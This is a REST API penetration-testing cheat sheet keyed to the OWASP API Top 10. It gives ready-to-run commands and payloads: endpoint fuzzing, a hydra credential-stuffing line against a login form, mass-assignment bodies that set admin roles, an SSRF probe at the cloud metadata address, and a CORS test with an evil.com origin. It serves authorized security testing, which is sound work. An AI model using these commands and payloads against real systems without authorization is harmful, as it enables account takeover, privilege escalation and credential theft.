REST API penetration testing mapped to the OWASP API Security Top 10 — endpoint/spec discovery, BOLA/BFLA, broken auth, mass assignment & data exposure, resource consumption, SSRF, CORS/misconfig, shadow versions and tooling.
/swagger.json /openapi.json /api-docs /swagger-ui /v2/api-docs
ffuf -w api-routes.txt -u https://target.com/api/FUZZ -mc 200,401,403
kr scan https://target.com/ -w routes-large.kite -A=apiroutes
katana -u https://target.com -jc | grep -Ei '/api/|/v[0-9]'
try /api/v1 /api/v2 /api/internal /api/private
swap object IDs across accounts (see the IDOR sheet)
call /api/admin/* as a normal user
Burp Autorize to diff low-priv vs high-priv responses
no rate-limit on POST /login -> credential stuffing
hydra -L users.txt -P pass.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=invalid"
API key in the URL / weak or never-expiring JWT (see JWT sheet)
password-reset token is guessable or reusable
{"email":"[email protected]","is_admin":true}
diff the JSON response for extra fields (tokens, roles, PII)
PATCH /api/users/me {"role":"admin"}
?limit=99999999 / ?page_size=1000000
no rate-limit on search / export / OTP endpoints
huge JSON body or a deeply nested object
webhook / import-from-URL field -> http://169.254.169.254/ (see SSRF sheet)
Origin: https://evil.com -> check Access-Control-Allow-Origin + Allow-Credentials
OPTIONS / TRACE / verbose stack traces / debug routes
old /api/v1 still live after /api/v2 ships
nuclei -u https://target.com -tags api,exposure,misconfig
arjun -u https://target.com/api/endpoint -m JSON
mitmproxy / Postman / Burp to capture and replay the mobile/SPA API